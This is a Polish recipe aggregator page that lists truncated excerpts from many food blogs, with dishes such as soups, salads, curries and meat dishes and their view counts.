Musztarda - najpopularniejsza przyprawa. Czy to na kanapce, czy jako dodatek do mięsa musztarda jest niezastąpiona. Osoby dbające o linię wiedzą doskonale, że to najmniej kaloryczny sos na zimno, super dodatek poprawiający smak niemal każdego dania. Czy wiesz co kryje się w słoiczku z musztardą? Musztarda to przyprawa, której głównym składnikiem są ziarna gorczycy białej, czarnej lub sarepskiej. Gorczyca pełna jest

Gotuj zdrowo!Guten Appetit!
Pieczeń z porem i jabłkiem 178

wszystko to możecie znaleźć w zakładce mięsa Składniki 1 kg mięsa mielonego 1 duży por 1 średnie jabłko 1 ząbek czosnku 2 jajka 4 łyżki bułki tartej 2 łyżki sosu sojowego sól pieprz słodka papryka Jabłko obrać i zetrzeć na tarce o grubych oczkach. Por pokroić drobno. Mięso włożyć do miski i wymieszać wszystko bardzo dokładnie z z pozostałymi składnikami

O kuchni z uczuciem
Pieczony kalafior z serkiem wiejskim 220

wrzucamy kalafiora. Gotujemy do miękkości, odcedzamy i odstawiamy. Serek wiejski mieszamy z oliwą z oliwek, kurkumą, ziołami prowansalskimi, suszonym czosnkiem, solą i pieprzem. Składniki powinny połączyć się w jednolity sos. Ugotowanego kalafiora przekładamy do naczynia żaroodpornego. Wierzch za pomocą łyżki w miarę równomiernie smarujemy serkiem wiejskim. Wstawiamy do piekarnika nagrzanego na 180 stopni i pieczemy 30 minut. Przed podaniem posypujemy

My Chcemy Jeść
Kanapka z wolno pieczonym rwanym indykiem 212

dlatego postanowiłam upiec w ten sam sposób indyka i to mięso wykorzystać do przygotowania amerykańskiej kanapki w stylu hawajskim. Rwany, długo pieczony indyk, nowalijki, grillowany ananas i amerykański majonezowy sos... Pycha. Samo przygotowanie tego mięsa pojawi się wkrótce w osobnym poście. Czytaj więcej

Bernika - moj kulinarny pamietnik
makaron z tuńczykiem,szybko i smacznie na kolację... 164

Składniki: makaron nitki 15 dag, tuńczyk w sosie własnym 2 puszki, ogórek zielony 1 mały, pomidory 2 sztuki, pieprz czarny mielony - do smaku, koperek - ile potrzeba makaron ugotować do miękkości w osolonej wodzie, na durszlaku przelać zimną wodą ogórki i pomidory pokroićw plasterki i kawałki na makaronie położyć tuńczyka wymieszanego z pomidorem i ogórkiem do smaku doprawić pieprzem i koperkiem

W Mojej Kuchni Lubię
Quesadilla z kurczakiem i papryką 188

przykryć drugim plackiem. Podgrzewać - aż tortilla lekko się zarumieni, a ser roztopi. Po tym czasie quesadillę przewrócić na drugą stronę i zapiec na chrupko. Podawać z dipem lub dowolnym sosem

Di gotuje
Jajka w wiosennej kołderce-lekkie i chrupiące 218

półmisku na liściach sałaty, rzodkiewki kroimy w większą kostkę,ogórka również,szczypiorek siekamy,mieszamy to wszystko z majonezem i jogurtem,wciskamy ząbek czosnku, doprawiamy solą i pieprzem do smaku. sos wylewamy na jajka i dekorujemy resztką szczypiorku i gotowe mniam..... Smacznego

Swojskie jedzonko
Pizza z brokułem i jajkami na cieście ziemniaczanym 273

ilością dodatków . SPÓD DO PIZZY: 2 szklanki mąki pszennej 3/4 szklanki wody 25 g świeżych drożdży 1/2 łyżeczki cukru 150 g gotowanych ziemniaków 1 łyżka oliwy 1/3 łyżeczki soli SOS: 3 łyżki przecieru pomidorowego sól pieprz czarny suszona bazylia DODATKI: 1/2 brokuła 4 jajka 2 00 g sera żółtego sól świeży szczypiorek Zrobić zaczyn z drożdży rozcierając je z cukrem

https:KKuchniaMniam
Warsztaty "Światowe trendy w domowym wydaniu " z Galeo 168

bardzo to, że nie dodawany jest do nich glutaminian sodu. Bardzo dziękuję organizatorom za zaproszenie na warsztaty i za super przydatny gadżet kuchenny do gotowania przypraw w zupach czy sosach. Dziś wylądował w garze z rosołem, wraz z przyprawami Galeo, które dostaliśmy po zakończeniu warsztatów

Kulinarne przygody Gatity
Schab pietruszkowo-bazyliowy 187

przykryciem 70 minut. Następnie zdjąć pokrywkę, przekroić rękaw i piec jeszcze 15 minut (mięso powinno się z wierzchu zarumienić). Upieczony schab wyjąć na talerz i pokroić. Ewentualnie polać sosem, który pozostał w rękawie do pieczenia.  Nacinanie schabu i przygotowywanie farszu Nadziewanie schabu Upieczone mięso

Ugotować
Stek wołowy bavette w czerwonym sosie curry z bazylią 209

mięsa muszę pożreć i znowu na jakiś czas spokój. Tak było tym razem i steki z pysznego mięsa wołowego zakupiłam i do gotowania, polecam. Stek wołowy bavette w czerwonym sosie curry z bazylią. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Stek z tuńczyka z bukietem grillowanych warzyw 283

Kolorowy, lekki obiad Składniki 2 steki z tuńczyka sól, pieprz   1 nieduży brokuł 1/2 czerwonej papryki 3 duże pieczarki 1/2 młodej cukinii przyprawa do grilla sos: 2 łyżko octu … Czytaj dalej Stek z tuńczyka z bukietem grillowanych warzyw

czarrna od kuchni
Pierś kaczki marynowana w imbirze z filecikami pomarańczy, ryżem i gremolatą 206

Pierś kaczki marynowana w imbirze z filecikami pomarańczy, ryżem jaśminowym i gremolatą z przepisu Jasepha Seelesto. 2 piersi kaczki zamarynuj w : 2 łyżki sosu sojowego 2 łyżki soku z pomarańczy 1 łyżeczka miodu akacjowego lub lipowego pół anyżku gwiaździstego  4 plasterki imbiru posiekanego w paseczki  odrobina cynamonu Ponacinaj piersi kacze od strony skóry. Włóż do marynaty na około

AZgotuj!
Potrawka drobiowa z burakiem 191

przypraw. Wymieszać.  Zostawić pod przykryciem około 10 minut. Dodać buraka, śmietanę. Zostawić na małym ogniu. Dusić około 5 minut. Po tym czasie odkryć i bez przykrycia dusić, aż sos zgęstnieje a warzywa będą miękkie.  Doprawić do smaku jeśli potrzeba. Podawać z ryżem. Smacznego

Tagebuch po polsku
Pomidory pelati w przecierze pomidorowym do słoików na zimę 160

cytryny Wykonanie: 5 kg pomidorów sparzyć, obrać, odcedzić na sicie. Następnie doprawić do smaku solą, pieprzem i cukrem i dusić na oliwie na wolnym ogniu aż się rozpadną, a sos zgęstnieje. Pozostałe pomidory dokładnie umyć, przełożyć do wyparzonych słoików, wlać po dwie łyżki soku z cytryny i zalać gorącym przecierem, szczelnie zamknąć i pasteryzować przez 15 minut

Tradycyjna Kuchnia
PLACUSZKI Z KASZY JAGLANEJ Z SOSEM JOGURTOWYM 203

PLACUSZKI Z KASZY JAGLANEJ to ratunek dla rozgotowanej kaszy. Wystarczy... Artykuł PLACUSZKI Z KASZY JAGLANEJ Z SOSEM JOGURTOWYM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Pomidorowa z klopsikami i beszamelem. 174

minut. Na patelni rozpuścić masło, dodać mąkę, mieszać aż składniki się połączą. Następnie wlać mleko (ok. 1 szkl.) i podgrzewać na małym ogniu cały czas mieszając. Doprawić gałką muszkatołową. Sos beszamelowy wlewać powoli do bulionu, cały czas mieszając. Jeżeli utworzą się jakieś grudki to zbieram je sitkiem. Następnie dodać pomidory z puszki i koncentrat pomidorowy. Można dodać tylko koncentrat

zadanie-gotowanie
Sałatka śledziowa z marynowanymi pieczarkami, jajkiem, cebulą i szczypiorkiem 246

kroję w ósemki. Szczypiorek drobno siekam. 2. Wszystkie przygotowane składniki przekładam na talerz i delikatnie mieszam. 3. Majonez mieszam ze śmietaną, sokiem z cytryny, solą oraz pieprzem. Przygotowanym sosem polewam sałatkę. Całość posypuję szczypiorkiem.  Do przygotowania sałatki użyłam pieczarek marynowanych krojonych , które otrzymałam do testowania od firmy ORZECH . Pieczarki są bardzo wygodne do użycia. Wystarczy odsączyć je z zalewy

Tradycyjna kuchnia Kasi
Sałatka z jajkami, pomidorami i porem 186

Prosta i zdrowa sałatka na bazie sałaty lodowej z pomidorami, ostrym porem i jajkami gotowanych na twardo. Do tego sos z silną nutką czosnku i dostajemy danie lekkie i bardzo smaczne. Najlepsza jest w lato, kiedy warzywa, a zwłaszcza pomidory są świeże, ale można zrobić ją też o tej porze roku. Można wtedy zastąpić pomidory pomidorkami koktajlowymi, które mają więcej

Milion Smaków
PYSZNA ZUPA-KREM Z DYNI 209

rozpuści. Podawaj w głębokich talerzach lub miseczkach, udekoruj zupę listkami pietruszki. Możesz serwować z grzankami domowymi lub gotowymi, lub ze świeżym chlebem. *polecam śmietanę Szefa kuchni do zup i sosów marki Danone 22%, ale możesz użyć innej, według własnego upodobania **jeśli wolisz, żeby zupa miała nieco rzadszą konsystencję, możesz dodać więcej bulionu Smacznego! Angie Przepisy

Smaki Francji współczesna kuchnia francuska
KREMOWA ZUPA Z CYKORII 177

około piętnaście minut. Wyjmij gałązkę tymianku, po czym zmiksuj. Podgrzej na wolnym ogniu, dodaj śmietanę i dopraw do smaku solą i pieprzem . * polecam śmietanę Szefa kuchni do zup i sosów marki Danone 22%, ale możesz użyć innej, według własnego upodobania ** Jeśli patelnia jest za mała, możesz przelać całość do garnka

Smaki Francji współczesna kuchnia francuska
ZUPA Z PORA I IMBIRU 193

drobiowego z kostki (bio) • 40 g masła • Mały kawałek świeżego korzenia imbiru • ¼ czerstwej bagietki (lub kawałek innego chleba)   • ½ pęczka drobnego szczypiorku • 20 cl gęstej śmietany do zup i sosów* • Sól, pieprz   Ziemniaki obierz, umyj, pokrój w drobną kostkę. Z porów usuń wierzchnie liście, umyj je i drobno posiekaj na cienkie talarki lub w drobną kostkę, przecinając je wzdłuż

Smaki Francji współczesna kuchnia francuska
KREMOWA ZUPA Z MARCHEWKI I BATATÓW 203

talerzach lub miseczkach, kładąc na wierzchu łyżkę gęstej śmietany lub ubitej kremówki. Przyozdób kilkoma listkami kolendry lub pietruszki. * Na przykład Śmietany Szefa Kuchni Danone’a 22% do zup i sosów. **Możesz również dodać do tej kremowej zupy sok z pomarańczy, limonki lub mandarynki, po czym doprawić ją szczyptą kuminu. Możesz również zastąpić batata ziemniakiem lub dwiema łyżkami czerwonej soczewicy. Jeśli

Smaki Francji współczesna kuchnia francuska
SAŁATKA Z CZERWONEJ FASOLKI 217

drobno posiekaj. W misce wymieszaj musztardę z octem balsamicznym i czterema łyżkami oliwy. Dopraw do smaku solą i pieprzem. Z papryczki chili usuń pestki i posiekaj ją drobno. Wlej sos winegret do sałatki, dodaj posiekaną natkę pietruszki i papryczkę chili*, dokładnie wymieszaj. Podawaj sałatkę dobrze schłodzoną. *Dopraw sałatkę do smaku według własnego uznania, jeśli nie lubisz zbyt ostrych potraw, dodaj

Smaki Francji współczesna kuchnia francuska
PIERŚ INDYKA Z GRILLA 235

się zamarynuje w przyprawach, układamy na rozgrzany ruszt grilla i opiekamy dokładnie z każdej strony. Pieczona pierś indyka w tych przyprawach doskonale komponuje się z warzywami (sałata, papryka, pomidor), sosem tzatziki i chlebkiem pita. Smacznego ! Artykuł PIERŚ INDYKA Z GRILLA pochodzi z serwisu MARKOWYSMAK.COM

Markowy smak
SMAŻONE ŚLEDZIE NA KROMCE CHLEBA 252

przekładamy na drugą stronę. Po usmażeniu przekładamy na ręcznik papierowy, aby pozbyć się tłuszczu. Podajemy z pieczywem lub z ziemniakami i warzywami. Doskonale smakują z sosem koperkowym lub pomidorowym. Smacznego ! Artykuł SMAŻONE ŚLEDZIE NA KROMCE CHLEBA pochodzi z serwisu MARKOWYSMAK.COM

Markowy smak
Kurczak duszony z pieczarkami i pomidorkami 432

gotować ok. 3 minuty. Zmniejszyć moc, dorzucić rozmaryn, tymianek, pieczarki, pomidory. Wodą opłukać puszkę po pomidorach i wlać na patelnię. Dusić pod przykryciem przez 15 minut. Dołożyć kurczaka, polać sosem z patelni gotować bez przykrycia jeszcze 12-15 minut (lub nieco dłużej, jeżeli filety są bardzo grube). Doprawić solą i pieprzem. Przed podaniem posypać obficie natką pietruszki. Smacznego! Przepis dodaję

Pełny talerz
Fasola adzuki 229

doskonała do pasztetów, zup i dań jednogarnkowych. Przygotowanie: namoczyć na noc. Gotować w świeżej nieosolonej wodzie, można dodać glon kombu, który ułatwia trawienie. Posolić pod koniec gotowania lub dodać sos sojowy. Adzuki beans Ingredients: adzuki beans 100%. Company: Bio Planet Sp. z o.o. Price: ca. PLN8. Nett weight: 400 g.  The product may contain allergens: gluten, peanuts and other

Qlinarnie i Qlinarnie
Czarna fasola 241

pastę z czarnej fasoli . Przygotowanie: namoczyć na noc. Gotować w świeżej nieosolonej wodzie, można dodać glon kombu, który ułatwia trawienie. Posolić pod koniec gotowania lub dodać sos sojowy.  Black beans Ingredients: black beans 100%. Company: Bio Planet SP. z o. o. Price: PLN8. Nett weight: 400 g. Product may contain allergens: gluten, peanuts and other nuts, sesame seeds

Qlinarnie i Qlinarnie
Aksamitny pasztet z drobiową wątróbką 183

ścięła z wierzchu . Mięso drobiowe obieramy z kości , przepuszczamy przez maszynkę do mięsa o drobnych oczkach razem ze skórą , warzywami i wieprzowiną . Następnie całość przekładamy do malaksera , dodajemy wątróbkę , sos powstały przy pieczeniu , przyprawy ,wyciśnięty praską czosnek , miód , sól do smaku i miksujemy na gładką masę . Podczas miksowania wbijamy jedno jajko . W przesmarowanej olejem formie do pieczenia , układamy plastry boczku

Ogrodnik w podróży
Burgery buraczane z quinoa i jaglanej z krążkami cebulowymi 261

też dodatkami do burgera. Na blogu znajdziecie przepisy na burgera z seitanu i burgera z batatów i żółtej soczewicy. Ostatnio zasmakowałam w burgerze batatowo-jaglanym z hummusem paprykowym i sosem bbq i dodatkiem smażonego

wegetalerze
Baranina w stylu blisko- wschodnim 215

Pyszna i łatwa do zrobienia baranina. Sos jest zdecydowany w smaku i dosyć ostry, więc jeżeli wolicie łagodniejszą wersję lepiej zmniejszyć ilość harissy. Oryginalny przepis nie przewidywał dodania kiszonej cytryny, ale jeżeli macie możliwość  - dodajcie koniecznie. Do dania była użyta jagnięcina, ja zastąpiłam ją baraniną, którą wolę ze względu na wyrazisty smak i, nie ukrywam, przyjemniejszą cenę. Mięso

Stare Gary
Naleśniki z farszem jajecznym i kukurydzą 374

digotuje.blogspot.com   Przepis autorski (mój). Naleśniki smakują rewelacyjnie, ale należy pamiętać o odpowiednim doprawieniu farszu. Inaczej mogą wydawać się mdłe i nijakie. Jeśli lubicie - idealnym dodatkiem jest dowolny sos - najlepiej ostry. Pycha!   Placki naleśnikowe:  1,5 szklanki mąki 1 szklanka wody gazowanej 3/4 szklanki mleka 2-3 jajka szczypta soli 2 łyżki oliwy Farsz:   (na około

Di gotuje
Curry z pieczarek i zielonego groszku 161

Głównym składnikiem moich dań w tym tygodniu są pieczarki. Dziś postanowiłam przyrządzić je na sposób indyjski i przygotowałam curry z pieczarek i zielonego groszku . Grzybki w aromatycznym sosie, z dodatkiem czerwonej papryki i zielonego groszku okazały się bardzo smacznym i sycącym daniem, które doskonale sprawdzi się zarówno jako danie główne jak i przystawka czy dodatek do mięsa. Gorąco polecam

Codzienne Gotowanie
Wspomnień czar - Weekend za pół ceny 2015 179

czerwonej cebulki , polane kwaśną śmietaną i przyprószone mozzarellą . jednym słowem - obiadowa ambrozja! Pan Mąż z kolei postawił na Zapiekankę BroKurową . Ziemniaczane talarki pod przykryciem z brokuł , spowite aksamitnym sosem beszamelowym z kawałkami soczystego kurczaka , przyprószone mozzarellą . Dobroci zapiekankowej było niewątpliwie dużo - solidna pół-kilogramowa porcja! Największy żarłok by się najadł, a i smak niczego sobie. Zboczkowa mnie po prostu zachwyciła

Grunt to przepis!
TARTA Z PIECZARKAMI NA GRAHAMOWYM SPODZIE 177

widelcem. Przykrywamy folią aluminiową i posypujemy grochem, pieczemy 10 min w 180 stopniach. Po tym czasie zdejmujemy folię, na dnie ciasta układamy salami oraz pieczarki z cebulą, zalewamy sosem śmietanowo-jajecznym, na wierzchu układamy suszone pomidory oraz kilka pieczarek. Zapiekamy jeszcze ok. 25 min, aby masa się ścięła

słodki bratek
Bułki z pieczarkami. 217

drobno . Na patelni przesmażamy cebulkę na złoty kolor . Na oddzielnej pieczarki ,kiedy puszczą wodę czekamy,aż trochę odparuje i zalewamy wodą z mąką , mieszamy . Dodajemy cebulkę ,doprawiamy ,mieszamy aż sos zgęstnieje i odstawiamy. Dwie długie bułki lub kanapka przecięta na pół. Wyjmujemy miękki miąższ ze środka bułek i podpiekamy na grillu elektrycznym .Bułki muszą być chrupiące . Delikatnie napełniamy je farszem

Ladylaura.
Kurczak pepper masala. 172

wody, przykrywamy i dusimy aż kurczak będzie miękki ,od czasu do czasu mieszamy. Pod koniec dodajemy imbir i starty czosnek na tarce. Doprawiamy obficie pieprzem i pozostałymi przyprawami. Sos powinien być gęsty więc pod koniec należy zdjąć pokrywkę aby nadmiar wody wyparował. Podawać z ryżem,  kaszami lub ziemniakami. Smacznego

Radość kipiąca uśmiechem.
Sushi maki z grzybami shitake 290

Odkrywanie nowych składników do sushi Składniki 3 szt prasowanych glonów nori 150 g ryżu sos do ryżu: 3 łyżki octu ryżowego 1 łyżeczka cukru 1/3 łyżeczki soli dodatki: grzyby shitake … Czytaj dalej Sushi maki z grzybami shitake

czarrna od kuchni
Pulpety w sosie szpinakowo – śmietanowym 155

przecedzonego wywaru dodajemy szpinak i plasterek cytryny. Chwilkę gotujemy. Po chwili dodajemy śmietanę, masło i przepuszczony przez praskę 1 ząbek czosnek. Ewentualnie doprawiamy. Wyjmujemy cytrynę i w sosie umieszczamy ponownie pulpety. Gotujemy razem kilka minut. I gotowe. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Smaki Ewy
Szybkie ciasto na pizzę 208

zostawiamy w ciepłym miejscu na ok 1 godzinę do wyrośnięcia. Wyrośnięte ciasto przekładamy na rozłożony na blacie kuchennym papier do pieczenia, rozciągamy/wałkujemy na okrągły placek.   Smarujemy sosem pomidorowym/keczupem i nakładamy ulubione składniki.  Pieczemy przez 15 minut w 220 stopniach. Podajemy gorącą, prosto z piekarnika. Ja, do pizzy ze zdjęcia dodałem: - tuńczyka - cebulę - zielone szparagi - pomidorki koktajlowe

Przepisy na domowy ser i chleb
Kurczak ze szaragami w jogurtowym sosie 243

szparagów zielonych 1/2 pora 1/2 młodej cukinii 1 mały jogurt naturalny sól, pieprz czubryca czerwona 1 łyżka mąki Sposób przygotowania … Czytaj dalej Kurczak ze szaragami w jogurtowym sosie

czarrna od kuchni
Pierogi ziemniaczane z farszem mięsnym 188

Pyszna potrawa na obiad. Można podać z sosem czosnkowym albo ulubioną surówką. Składniki (na ok 10 sztuk): 6-7 średnich ziemniaków 2 jajka 0,5 szklanki mąki pszennej 2 łyżki oleju sól Farsz: 250 g mięsa (dałam łopatkę wieprzową) mała cebula sól, pieprz ziele angielskie, liść laurowy parę łyżek wywaru z mięsa Przygotowanie Farsz: Mięso kroimy w sporą kostkę, zalewamy

e-PrzepisyKulinarne
Cebularz lubelski 321

akcji Regionalne Smaki, prowadzonej przez Renatę z bloga  Codziennik Kuchenn y. Akcja popularyzuje tradycyjne potrawy z różnych regionów Polski. Były już: pyry z gzikiem, karp smażony z sosem szarym, piróg biłgorajski, kwaśnica na gęsinie i zalewajka z grzybami.  Teraz przyszła pora na wspólne pieczenie cebularzy.  Cebularz lubelski, to jeden z najsławniejszych przysmaków tego regionu. Wywodzi się

Przepisy na domowy ser i chleb
Żołądki drobiowe w sosie chrzanowym 211

bardzo odparował dolać gorącej wody na wysokość taką aby dobrze przykryła żołądki. Śmietanę wymieszać z mąką i odrobiną wywaru z garnka. Wlać do garnka z żołądkami i zagęścić sos. Dodać posiekaną natkę pietruszki. Gotowe żołądeczki podałam z buraczkami i kluseczkami (kluseczki są z tego samego ciasta co  kluski śląskie tylko po prostu uformowałam je w innym kształcie

Monia miesza i gotuje
Wiosenna sałatka gyros 293

Gyros w wersji light Składniki: 1 filet z kurczaka + przyprawa gyros 1/2 sałaty lodowej 1 pęczek rzodkiewki 1 ogórek 3-4 pomidory olej sos: 3-4 łyżki oliwy 1 łyżka octu … Czytaj dalej Wiosenna sałatka gyros

czarrna od kuchni
Mięso mielone 178

Zapiekanka z mięsa mielonego Gołąbki Tort gołąbkowy Kotlety mielone Zupa po meksykańsku Pulpeciki/Makaroniada Klops gotowany Naleśniki po meksykańsku Makaron w sosie pomidorowym

NA MOIM TALERZU
JAJKA W KOSZULCE / JAJKA PO BENEDYKTYŃSKU – jak zrobić idealne? 204

każdy robił. Jest świetnym pomysłem na śniadanie albo kolację. Świetnie smakuje ze świeżym pieczywem, dodatkiem smażonego chrupiącego boczku albo szynki parmeńskiej, jak również podane ze szparagami i sosem holenderskim. Robi się je niezwykle szybko i zaskakują zarówno podniebienie, jak i oczy! Koniecznie spróbujcie! Jak zrobić to idealne? Zobaczcie! JAK UGOTOWAĆ PERFEKCYJNE JAJKA W KOSZULCE? 1 SPOSÓB: * Jaja muszą być bardzo

Ostra na Słodko
Pita z nadzieniem pieczarkowym i kawiorem z bakłażana. 209

cebulę i lekko podsma żamy, następnie dodajemy pieczarki, lekko solimy i p ieprzymy.Podsm aż amy na rumiano. Z upieczonej pity odkrawamy bok i nape łniamy sałatą lodową z dowolnym sosem i pieczarkami. Smacznego

Sama słodycz i szczypta chili
Curry z indykiem i kolorową papryką. 154

sparzone pomidory bez skóry 1 cebula 2 ząbki czosnku łyżeczka przyprawy garam masala sól, pieprz, słodka papryka, ostra papryka do smaku 2 łyzki oliwy z oliwek 2 łyżki sosu ajvar Przygotowanie; Indyka myjemy, osuszamy a następnie mieszamy w miseczce z przyprawami. (garam masala, sól, pieprz, odrobina kurkumy, słodka i ostra papryka)Następnie wrzucamy na rozgrzaną oliwę i smażymy, dodajemy

Radość kipiąca uśmiechem.
Pierś z kurczaka w curry z masłem orzechowym 246

resztą składników.  Wlewamy mleczko kokosowe, sok z limonki i cukier brązowy.  Wszystkie składniki mieszamy i gotujemy przez około 10 - 1 minut do momentu uzyskania kremowej konsystencji sosu. Podajemy ze świeżo ugotowanym ryżem

Pan i Pani Smith w kuchni
Kotlety drobiowo-paprykowe 263

smażenia. Dzisiaj u mnie kotlety z piersi kurczaka i papryki. Ciekawe połączenie dwóch smacznych składników. Kotlety robi się błyskawicznie - a stanowić one mogą smaczną przekąskę serwowaną z ulubionym sosem, lub danie obiadowe w połączeniu np. z ziemniakami. Kurczaka i paprykę czerwoną pokroić w drobną kosteczkę. Przełożyć do miski, a następnie dodać obie mąki, bułkę tartą, jajko, oregano, mieloną paprykę, sól

Świat Domowej Kuchni
Roladki z indyka ze szpinakiem + pomidorowa kasza jęczmienna i warzywa 183

ugotować wg instrukcji na opakowaniu. Na patelnię wlać passatę pomidorową. Doprawić do smaku solą, pieprzem, bazylią i oregano.  Dusić do momentu odparowania wody z pomidorów. Na koniec dodać sos pomidorowy do kaszy. Całość wymieszać.  Do pojemnika przełożyć pomidorową kaszę, warzywa oraz roladkę. Smacznego Anulla

Fabryka pomysłów
TAGLIATELLE Z RICOTTĄ, SZPINAKIEM I WĘDZONYM ŁOSOSIEM 212

pieprzem, oraz świeżymi listkami oregano. Mieszać całość, aż ser połączy się z pozostałymi składnikami. Połowę łososia podzielić na małe kawałki i dodać na patelnię, wymieszać. Makaron przełożyć do powstałego sosu i znów wymieszać. Gotowe danie podawać z drugą częścią łososia ułożoną w małych kawałkach na wierzchu

Kuchnia w opałach
Fasolka w sosie pomidorowym z klopsikami z mięsa wieprzowego! 166

Mój K. nie jest na diecie, wręcz przeciwnie ;-), dlatego będą też tu pojawiać się przepisy wysokoenergetyczne, z dużą ilością białka. I takie jest to danie, pyszna fasola jaś, w sosie pomidorowym, ze świeżym rozmarynem, majerankiem, do tego klopsiki z mięsa wieprzowego przyprawione czosnkiem nieniedźwiedzim, a wszytko okraszone w dodatku boczkiem wędzonym. O tak! Miliony kalorii ;-))) To Panowie jak chętni

SMYKWKUCHNI
Babeczki chlebowe z serem 158

potrafiącym gotować, na wytrawne babeczki z chleba, idealne na imprezową przekąskę. Jest to również świetny sposób na wykorzystanie czerstwego pieczywa. Bardzo dobrze smakują na ciepło i na zimno z sosem czosnkowym. Składniki (ok 10 sztuk): 6 kromek pszennego chleba pół szklanki mleka 2 jajka 200 g sera żółtego 4 łyżki prażonej cebulki (można pominąć) sól, pieprz oregano, papryka ostra, papryka

e-PrzepisyKulinarne
Młoda kapustka wiosenna 149

zlej wrzątkiem, duś do miękkości. Na patelni rozgrzej olej rzepakowy i podsmaż pokrojone na kawałeczki piersi z kurczaka, dosmacz solą i pieprzem. Przełóż do garnka z kapustką, dodaj pomidorowego sosu z butelki. Wymieszaj , dosmacz koperkiem. Cebulę pokrój drobno, podsmaż na oleju rzepakowym i dodaj do całości, duś. Jeśli lubisz , zastosuj zasmażkę, u mnie jej nie ma, dlatego kapustka jest niezwykle

Z Kuchni Do Kuchni
Surówka z czerwonej kapusty z jabłkiem i marchewką 197

majonezu - 2 łyżeczki musztardy - 2 łyżki oliwy lub oleju rzepakowego - cukier do smaku  - ocet winny lub owocowy ok. 4 łyżeczek, lub zwykły spirytusowy 2 łyżeczki, można też użyć sosu balsamicznego i dozować go wg. uznania 1. Kapustę kroimy na 4 części, wykrawamy głąb, usuwamy wierzchnie liście jeśli są obeschnięte. Ścieramy na tarce, posypujemy małą ilością soli i mocno mieszamy

Apetyczna babeczka
Makaron z tuńczykiem i marchewką 228

Proste i bardzo smaczne danie obiadowe! Jeżeli macie ochotę na inne rybne dania to kliknijcie TUTAJ .  Składniki na 2 porcje: makaron, np. świderki pełnoziarniste 1 puszka tuńczyka w sosie własnym (po odsączeniu 120 g) 1 duża marchewka 1/2 czerwonej cebuli 1 ząbek czosnku odrobina oleju do smażenia sól, pieprz posiekana zielona pietruszka Makaron ugotować zgodnie z instrukcją na opakowaniu

Ugotować
Surówka 200

Szybko zrobiona suróweczka .. sałata ogórek zielony  sos vinegret : 3 łyżki octu winnego  9 łyżek oleju lnianego Kujawski 1 łyżeczka musztardy  3 ząbki czosnku  sól , pieprz Sałatę umyć, porwać , ogórka i rzodkiewkę umyć i pokroić.Do kubka lub miseczki wsypać sól i pieprz , dodać przeciśnięty przez praskę czosnek, dodać ocet i musztardę i mieszać .Ciągle mieszając dodać

Moje domowe kucharzenie
Toruński Festiwal Smaku „Kuchnia krzyżacka” 154

restauracji Hanza Pałac, Rulewo w składzie Mateusz Malej i Mariusz Flatau.  Przygotowali: baranek po polsku podany na konfiturze z czerwonej cebuli w towarzystwie piernikowego puree, marynowanej rzodkiewki i sosu imbirowo szafranowego. I tu jurorom należy się medal ;) Sama dokładnie tak samo bym oceniła. Smak, nawiązanie do historii, prezentacja.... no i kacze udo było daniem bardziej skomplikowanym technicznie

królestwo garów
Sałatka z kurczakiem i pomarańczą 174

świeże kiełki dressing szczypiorkowy: mały pęczek szczypiorku 1/4 szklanki oliwy z oliwek ( lub oleju rzepakowego ) sok z 1/2 cytryny 1 łyżeczka miodu sól  marynata do kurczaka: 3 łyżki sosu sojowego 3 łyżki oleju rzepakowego 1 łyżka octu winnego białego  Wykonanie: Składniki marynaty do kurczaka wymieszać. Filet umieścić w mocnym woreczku, wlać marynatę i dobrze zamknąć. Odłożyć mięso

kolorowotorcikowo
Castellane w pomidorach z kiełbasą 134

rozgrzanym oleju smażymy kiełbasę, dodajemy cebulę, razem chwilę podsmażamy. Następnie zalewamy passatą wymieszaną z czubrycą. Całość dusimy 15 min, lekko odparowujemy. Doprawiamy do smaku solą i pieprzem. Do sosu przekładamy makaron, dokładnie łączymy ze sobą. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent

R'n'G Kitchen
Ryżowe „burgery” z wędzoną makrelą, guacamole i szparagami 177

łyżeczki oleju sezamowego łyżka posiekanej pietruszki łyżeczka czarnuszki guacamole: dojrzałe awocado dojrzały pomidor malinowy pół małej czerwonej cebuli sok z połowy limonki 0/5 łyżeczki zielonego tabasco spora szczypta soli sos pomidorowy: 4 łyżki passaty pomidorowej łyżka oliwy pół małej czerwonej cebuli mała czerwona papryka łyżka posiekanej świeżej bazylii sól i pieprz do smaku dodatkowo: 6-8 zielonych szparagów łyżeczka oliwy

Mienta blog
Pieczone bataty w przyprawach i rozmarynie 169

posiekany rozmaryn, oprószyć bataty przyprawami, skropić oliwą, całość wymieszać.  Piec w temperaturze 200°C przez 40 minut bez przykrycia.  Podawać jako dodatek do dania głównego z ulubionymi sosami i sałatkami

Wino Francja Kuchnia
Pizza na podpłomyku z pesto z liści rzodkiewki, pikantnym twarożkiem i rzodkiewkami (szybka pizza na cieście bez drożdży) 152

końcu udekoruj rzodkiewkami pokrojonymi na cienkie plasterki.  Porady: Na cieście bez drożdży możesz oczywiście przygotować również bardziej tradycyjną pizzę. Po nałożeniu na usmażony na patelni placek sosu, sera i dodatków, wstaw pizzę do piekarnika nagrzanego do 200 C i piecz przez 5-10 minut, aż ser się rozpuści.  Podpłomyki są smaczne także na drugi dzień. Wystarczy

Chilli Czosnek i Oliwa
Makaron w sosie pomidorowo-fasolowym z nutą pomarańczy 218

bazylię, wymieszaj i podsmaż przez kolejna minutę. Dolej sok pomarańczowy, przepłukaną i odsączoną fasolę, koncentrat pomidorowy. Wymieszaj i zagotuj. Na samym końcu dodaj starty ser. Zdejmij z ognia. Dodaj sos do makaronu i dokładnie wymieszaj. Tak, jak nigdy nie gotuję „w wodzie” ryżu tylko a’la risotto, tak samo makaron po ugotowaniu, przepłukaniu w ciepłej i zimniej

greenscarf
Grillowana sałata rzymska w sałatce z jajkiem 308

Syte śniadanie Składniki 1 sałata rzymska mini 1 pomidor 1/2 czerwonej cebuli 3 grube plasterki szynki 4 jajka sos: 2 ząbki czosnku 1 łyżeczka musztardy 3-4 łyżki oliwy sól, pieprz … Czytaj dalej Grillowana sałata rzymska w sałatce z jajkiem

czarrna od kuchni
Kremowa zupa z cukinii i kukurydzy. 169

